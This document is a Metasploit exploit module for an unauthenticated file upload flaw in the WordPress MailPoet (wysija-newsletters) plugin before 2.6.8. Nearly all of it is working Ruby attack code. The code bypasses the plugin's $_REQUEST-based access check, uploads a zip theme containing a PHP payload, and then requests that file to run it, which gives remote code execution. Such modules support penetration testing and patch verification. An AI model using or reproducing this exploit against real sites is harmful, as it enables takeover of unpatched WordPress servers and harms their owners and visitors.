Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload',  
'Description' => %q{  
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8  
is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme  
functionality to upload a zip file containing the payload. The plugin used the  
admin_init hook, which is also executed for unauthenticated users when accessing  
a specific URL. The developers tried to fix the vulnerablility  
in version 2.6.7 but the fix can be bypassed. In PHPs default configuration,  
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin  
uses $_REQUEST to check for access rights. By setting the POST parameter to  
something not beginning with 'wysija_', the check is bypassed. Wordpress uses  
the $_GET array to determine the page and is so not affected by this.  
},  
'Author' =>  
[  
'Marc-Alexandre Montpas', # initial discovery  
'Christian Mehlmauer' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],  
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],  
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 1 2014'))  
end  
  
def create_zip_file(theme_name, payload_name)  
# the zip file must match the following:  
# -) Exactly one folder representing the theme name  
# -) A style.css in the theme folder  
# -) Additional files in the folder  
  
content = {  
::File.join(theme_name, 'style.css') => '',  
::File.join(theme_name, payload_name) => payload.encoded  
}  
  
zip_file = Rex::Zip::Archive.new  
content.each_pair do |name, content|  
zip_file.add_file(name, content)  
end  
  
zip_file.pack  
end  
  
def check  
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')  
res = send_request_cgi({  
'uri' => readme_url,  
'method' => 'GET'  
})  
# no readme.txt present  
if res.nil? || res.code != 200  
return Msf::Exploit::CheckCode::Unknown  
end  
  
# try to extract version from readme  
# Example line:  
# Stable tag: 2.6.6  
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]  
  
# readme present, but no version number  
if version.nil?  
return Msf::Exploit::CheckCode::Detected  
end  
  
print_status("#{peer} - Found version #{version} of the plugin")  
  
if Gem::Version.new(version) < Gem::Version.new('2.6.8')  
return Msf::Exploit::CheckCode::Appears  
else  
return Msf::Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
theme_name = rand_text_alpha(10)  
payload_name = "#{rand_text_alpha(10)}.php"  
  
zip_content = create_zip_file(theme_name, payload_name)  
  
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')  
  
data = Rex::MIME::Message.new  
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")  
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')  
data.add_part('themeupload', nil, nil, 'form-data; name="action"')  
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')  
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')  
post_data = data.to_s  
  
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)  
  
print_status("#{peer} - Uploading payload to #{payload_uri}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },  
'data' => post_data  
})  
  
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'  
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")  
end  
  
# Files to cleanup (session is dropped in the created folder):  
# style.css  
# the payload  
# the theme folder (manual cleanup)  
register_files_for_cleanup('style.css', payload_name)  
  
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")  
  
print_status("#{peer} - Executing payload #{payload_uri}")  
res = send_request_cgi({  
'uri' => payload_uri,  
'method' => 'GET'  
})  
end  
end  
`